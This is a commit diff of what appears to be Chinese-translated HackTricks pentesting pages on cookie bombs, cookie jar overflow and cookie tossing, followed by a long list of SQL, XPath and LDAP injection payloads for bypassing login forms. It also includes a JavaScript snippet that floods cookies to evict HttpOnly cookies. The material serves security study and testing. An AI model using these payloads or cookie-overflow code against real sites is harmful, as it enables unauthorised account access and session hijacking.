Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente

This commit is contained in:
Translator 2024-01-10 17:05:27 +00:00
parent ea9e73782f
commit 169e09cd2a
20 changed files with 901 additions and 1552 deletions

View file

@ -1,39 +1,35 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品:[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
Cookie炸弹是一种能够为一个域名及其子域名的用户**添加大量大型Cookie**的能力,目的是使受害者始终**向服务器发送大型HTTP请求**由于Cookie而**服务器将拒绝接受请求**。因此这将对该域名和子域名中的用户造成拒绝服务DoS
Cookie炸弹是指**向用户添加大量大型Cookie**的能力,目标是用户对于某个域及其子域,将始终**发送大型HTTP请求**由于Cookie导致**服务器不接受请求**。因此这将导致该域和子域中的用户遭受DoS攻击
可以在这篇文章中看到一个很好的**例子**[https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
一个很好的**例子**可以在这篇报告中看到[https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
更多信息,请查看此演示文稿:[https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
更多信息,您可以查看这个演示文稿:[https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品:[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,21 +1,19 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
浏览器对于每个页面可以存储的cookie数量有一个**限制**。因此,如果出于某种原因你需要**让一个cookie消失**,你可以**溢出cookie存储空间**因为最旧的cookie会在之前被删除:
浏览器对它们能为一个页面存储的**cookies数量有限制**。因此,如果出于某种原因你需要**让一个cookie消失**,你可以**溢出cookie jar**因为最旧的cookie会被首先删除:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -27,27 +25,25 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
注意指向不同域的第三方cookie不会被覆盖。
注意指向不同域的第三方cookies不会被覆盖。
{% hint style="danger" %}
这种攻击也可以用来**覆盖HttpOnly cookie因为你可以删除它然后用你想要的值重新设置它**。
这种攻击也可以用来**覆盖HttpOnly cookies,因为你可以删除它,然后用你想要的值重置它**。
在[**这篇带有实验室的文章**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)中查看
在[**这篇带有实验室的文章**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)中检查这一点
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果你想在**HackTricks中看到你的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧**。
</details>

View file

@ -1,74 +1,72 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary>
- 你在一个**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
## 描述
如果攻击者能够**控制公司的子域或域名,或者在子域中找到 XSS 漏洞**,他将能够执行此攻击。
如果攻击者能够**控制一个子域名或公司的域名或者在子域名中找到一个XSS**,他将能够执行这种攻击。
正如在 Cookie Hacking 部分中所指出的,当**将 cookie 设置为一个域(指定域)时,它将在该域和子域中使用**。
正如在Cookies Hacking部分所指出的当**cookie被设置到一个域名指定它它将在域名和子域名中使用。**
{% hint style="danger" %}
因此,**攻击者将能够在域和子域中设置特定cookie类似于** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
因此,**攻击者将能够设置特定cookie到域名和子域名,类似于** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
{% endhint %}
这可能是危险的,因为攻击者可能能够:
* **将受害者的 cookie 固定到攻击者的帐户**,因此如果用户没有注意到,**他将在攻击者的帐户中执行操作**,攻击者可能会获取一些有趣的信息(检查用户在平台上的搜索历史记录,受害者可能在帐户中设置他的信用卡...
* 如果**登录后 cookie 没有更改**,攻击者可以只是**固定一个 cookie**,等待受害者登录,然后**使用该 cookie 作为受害者登录**
* 如果**cookie 设置了一些初始值**(例如在 flask 中,**cookie** 可能会**设置**会话的 **CSRF 令牌**,并且该值在受害者登录后将保持不变),攻击者可以设置这个已知值,然后滥用它(在这种情况下,攻击者可以让用户执行 CSRF 请求,因为他知道 CSRF 令牌)。
* **将受害者的cookie固定到攻击者的账户**,所以如果用户没有注意到,**他将在攻击者的账户中执行操作**,攻击者可能获得一些有趣的信息(检查用户在平台上的搜索历史,受害者可能在账户中设置他的信用卡...
* 如果**登录后cookie没有变化**,攻击者可能只是**固定一个cookie**,等到受害者登录后,然后**使用该cookie作为受害者登录**。
* 如果**cookie设置了一些初始值**如在flask中**cookie**可能**设置**会话的**CSRF token**,并且这个值在受害者登录后将被保持),**攻击者可能设置这个已知值然后滥用它**在这种情况下攻击者可能会让用户执行CSRF请求因为他知道CSRF token)。
## Cookie 顺序
## Cookie顺序
当浏览器接收到两个具有相同名称的 cookie**部分影响相同范围**(域、子域和路径)时,**浏览器将在两个 cookie 的值都有效的情况下发送两个值的 cookie**。
当浏览器接收到两个具有相同名称的cookie并且**部分影响相同范围**域名、子域名和路径如果两个cookie对请求都有效**浏览器将发送两个cookie的值**。
根据谁拥有**最具体的路径**或哪个是**最旧的**,浏览器将**首先设置 cookie 的值**,然后设置另一个值,如下所示`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
根据谁拥有**最具体的路径**或哪个是**最旧的**,浏览器将**首先设置cookie的值**,然后是另一个的值,如`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
大多数**网站只会使用第一个值**。因此,如果攻击者想要设置一个 cookie最好在另一个 cookie 被设置之前设置它,或者使用更具体的路径设置它。
大多数**网站只会使用第一个值**。因此如果攻击者想要设置cookie最好在另一个cookie被设置之前设置它或者用更具体的路径设置它。
{% hint style="warning" %}
此外,能够在更具体的路径中**设置 cookie**非常有趣,因为你将能够让**受害者使用他的 cookie除了在发送恶意 cookie 的特定路径之外**。
此外,能够**在更具体的路径中设置cookie**的能力非常有趣,因为你将能够让**受害者在除了特定路径外的地方使用他的cookie在那里恶意cookie设置将会先发送**。
{% endhint %}
## 绕过保护
此攻击的可能保护措施是,**Web 服务器不接受具有相同名称但具有不同值的两个 cookie 的请求**。
这种攻击的可能保护是**web服务器不接受带有相同名称但两个不同值的两个cookie的请求**。
为了绕过攻击者在受害者已经获得 cookie 后设置 cookie 的情况,攻击者可以引起**cookie 溢出**,然后一旦**合法 cookie 被删除,设置恶意 cookie**。
为了绕过攻击者在受害者已经获得cookie之后设置cookie的情况攻击者可以引起**cookie溢出**,然后,一旦**合法cookie被删除设置恶意cookie**。
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
另一个有用的**绕过**方法是对 cookie 的名称进行**URL 编码**,因为某些保护会检查请求中是否存在两个具有相同名称的 cookie然后服务器将解码 cookie 的名称。
另一个有用的**绕过**可能是**URL编码cookie的名称**因为一些保护措施会检查请求中是否有两个同名的cookie然后服务器将解码cookie的名称。
## Cookie 炸弹
## Cookie炸弹
Cookie Tossing 攻击也可以用于执行**Cookie 炸弹**攻击:
Cookie Tossing攻击也可以用来执行**Cookie炸弹**攻击:
{% content-ref url="cookie-bomb.md" %}
[cookie-bomb.md](cookie-bomb.md)
{% endcontent-ref %}
## 防御措施
## 防御
### 在 cookie 名称中使用前缀 `__Host`
### **在cookie名称中使用前缀`__Host`**
* 如果 cookie 名称具有此前缀,它**只会在 Set-Cookie 指令中被接受**,如果它标记为 Secure从安全来源发送不包括 Domain 属性,并且具有设置为 / 的 Path 属性
* **这样可以防止子域强制cookie 强制到顶级域,因为这些 cookie 可以被视为“域锁定”**
* 如果cookie名称有这个前缀它**只会在Set-Cookie指令中被接受**如果它被标记为Secure是从一个安全的来源发送的不包括Domain属性并且将Path属性设置为/
* **这防止子域强制cookie到顶级域因为这些cookie可以被视为“域锁定”**
## 参考资料
@ -79,15 +77,14 @@ Cookie Tossing 攻击也可以用于执行**Cookie 炸弹**攻击:
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary>
- 你在一个**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter****关注我** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>

View file

@ -1,23 +1,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
这个列表包含了绕过XPath、LDAP和SQL注入登录的**有效载荷**(按顺序排列)
此列表包含**通过XPath、LDAP和SQL注入绕过登录的有效载荷**(按顺序排列)
使用这个列表的方法是将**前200行作为用户名和密码**。然后,将完整的列表先放在用户名输入框中,然后再放在密码输入框中,同时输入一些密码(如_Pass1234._)或一些已知的用户名(如_admin_)
使用此列表的方法是将**前200行作为用户名和密码**。然后首先将完整列表放在用户名中然后放在密码输入中同时输入一些密码如_Pass1234._或一些已知用户名如_admin_
```
admin
password
@ -248,234 +246,237 @@ admin' and substring(password/text(),1,1)='7
'='
0'&lt;'2
"="
## SQL登录绕过
### 基于注释的绕过
- `' OR '1'='1' -- 2`
- `' OR '1'='1' #`
- `' OR '1'='1'/*`
- `") OR "1"="1" -- 2`
- `") OR "1"="1" #`
- `") OR "1"="1"/*`
- `')-('`
- `')&('`
- `')^('`
- `')*('`
- `')=('`
- `0')<('2`
- `")-("`
- `")&("`
- `")^("`
- `")*("`
- `")=("`
- `0")<("2`
- `'-''-- 2`
- `'-''#`
- `'-''/*`
- `'&''-- 2`
- `'&''#`
- `'&''/*`
- `'^''-- 2`
- `'^''#`
- `'^''/*`
- `'*''-- 2`
- `'*''#`
- `'*''/*`
- `''='-- 2`
- `''=' #`
- `''='/*`
- `0'<2'-- 2`
- `0'<2'#`
- `0'<2'/*`
- `"-""-- 2`
- `"-""#`
- `"-""/*`
- `"&""-- 2`
- `"&""#`
- `"&""/*`
- `"^""-- 2`
- `"^""#`
- `"^""/*`
- `"*""-- 2`
- `"*""#`
- `"*""/*`
- `""=""-- 2`
- `""=""#`
- `""=""/*`
- `0"<2"-- 2`
- `0"<2"#`
- `0"<2"/*`
- `')-''-- 2`
- `')-''#`
- `')-''/*`
- `')&''-- 2`
- `')&''#`
- `')&''/*`
- `')^''-- 2`
- `')^''#`
- `')^''/*`
- `')*''-- 2`
- `')*''#`
- `')*''/*`
- `')=''-- 2`
- `')=''#`
- `')=''/*`
- `0')<2'-- 2`
- `0')<2'#`
- `0')<2'/*`
- `")-""-- 2`
- `")-""#`
- `")-""/*`
- `")&""-- 2`
- `")&""#`
- `")&""/*`
- `")^""-- 2`
- `")^""#`
- `")^""/*`
- `")*""-- 2`
- `")*""#`
- `")*""/*`
- `")=""-- 2`
- `")=""#`
- `")=""/*`
- `0")<2-- 2`
- `0")<2#`
- `0")<2/*`
- `'oR'2`
- `'oR'2'-- 2`
- `'oR'2'#`
- `'oR'2'/*`
- `'oR'2'oR'`
- `'oR(2)-- 2`
- `'oR(2)#`
- `'oR(2)/*`
- `'oR(2)oR'`
- `'oR 2-- 2`
- `'oR 2#`
- `'oR 2/*`
- `'oR 2 oR'`
- `'oR/**/2-- 2`
- `'oR/**/2#`
- `'oR/**/2/*`
- `'oR/**/2/**/oR'`
- `"oR"2`
- `"oR"2"-- 2`
- `"oR"2"#`
- `"oR"2"/*`
- `"oR"2"oR"`
- `"oR(2)-- 2`
- `"oR(2)#`
- `"oR(2)/*`
- `"oR(2)oR"`
- `"oR 2-- 2`
- `"oR 2#`
- `"oR 2/*`
- `"oR 2 oR"`
- `"oR/**/2-- 2`
- `"oR/**/2#`
- `"oR/**/2/*`
- `"oR/**/2/**/oR"`
- `'oR'2'='2`
- `'oR'2'='2'oR'`
- `'oR'2'='2'-- 2`
- `'oR'2'='2'#`
- `'oR'2'='2'/*`
- `'oR 2=2-- 2`
- `'oR 2=2#`
- `'oR 2=2/*`
- `'oR 2=2 oR'`
- `'oR/**/2=2-- 2`
- `'oR/**/2=2#`
- `'oR/**/2=2/*`
- `'oR/**/2=2/**/oR'`
- `'oR(2)=2-- 2`
- `'oR(2)=2#`
- `'oR(2)=2/*`
- `'oR(2)=(2)oR'`
- `'oR'2'='2' LimIT 1-- 2`
- `'oR'2'='2' LimIT 1#`
- `'oR'2'='2' LimIT 1/*`
- `'oR(2)=(2)LimIT(1)-- 2`
- `'oR(2)=(2)LimIT(1)#`
- `'oR(2)=(2)LimIT(1)/*`
- `"oR"2"="2`
- `"oR"2"="2"oR"`
- `"oR"2"="2"-- 2`
- `"oR"2"="2"#`
- `"oR"2"="2"/*`
- `"oR 2=2-- 2`
- `"oR 2=2#`
- `"oR 2=2/*`
- `"oR 2=2 oR"`
- `"oR/**/2=2-- 2`
- `"oR/**/2=2#`
- `"oR/**/2=2/*`
- `"oR/**/2=2/**/oR"`
- `"oR(2)=2-- 2`
- `"oR(2)=2#`
- `"oR(2)=2/*`
- `"oR(2)=(2)oR"`
- `"oR"2"="2" LimIT 1-- 2`
- `"oR"2"="2" LimIT 1#`
- `"oR"2"="2" LimIT 1/*`
- `"oR(2)=(2)LimIT(1)-- 2`
- `"oR(2)=(2)LimIT(1)#`
- `"oR(2)=(2)LimIT(1)/*`
- `'oR true-- 2`
- `'oR true#`
- `'oR true/*`
- `'oR true oR'`
- `'oR(true)-- 2`
- `'oR(true)#`
- `'oR(true)/*`
- `'oR(true)oR'`
- `'oR/**/true-- 2`
- `'oR/**/true#`
- `'oR/**/true/*`
- `'oR/**/true/**/oR'`
- `"oR true-- 2`
- `"oR true#`
- `"oR true/*`
- `"oR true oR"`
- `"oR(true)-- 2`
- `"oR(true)#`
- `"oR(true)/*`
- `"oR(true)oR"`
- `"oR/**/true-- 2`
- `"oR/**/true#`
- `"oR/**/true/*`
- `"oR/**/true/**/oR'`
- `'oR'2'LiKE'2`
- `'oR'2'LiKE'2'-- 2`
